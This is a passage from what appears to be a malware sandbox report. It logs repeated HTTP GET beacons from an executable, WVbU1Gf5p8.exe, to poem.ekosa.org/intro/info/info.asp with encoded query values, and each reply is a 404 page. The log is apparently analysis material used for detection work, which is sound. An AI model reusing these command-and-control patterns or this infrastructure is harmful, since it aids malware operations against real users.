HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.4	49931	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:25.525321007 CET	5159	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:25.790385008 CET	5159	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.4	49932	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:26.169887066 CET	5163	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:26.430233002 CET	5170	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.4	49934	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:26.694688082 CET	5171	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:26.954181910 CET	5171	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.4	49935	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:27.223679066 CET	5172	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:27.485980034 CET	5172	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.4	49936	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:27.860194921 CET	5173	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:28.120748043 CET	5174	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:28 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.4	49937	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:28.391552925 CET	5175	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:28.653543949 CET	5176	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:28 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.4	49938	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:28.923845053 CET	5177	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:29.186045885 CET	5177	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.4	49939	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:29.571549892 CET	5178	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:29.841411114 CET	5179	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49780	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:05.903429985 CET	291	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:06.166101933 CET	296	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.4	49940	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:30.108763933 CET	5179	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:30.369923115 CET	5180	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:30 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.4	49941	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:30.643855095 CET	5181	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:30.913028002 CET	5181	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:30 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 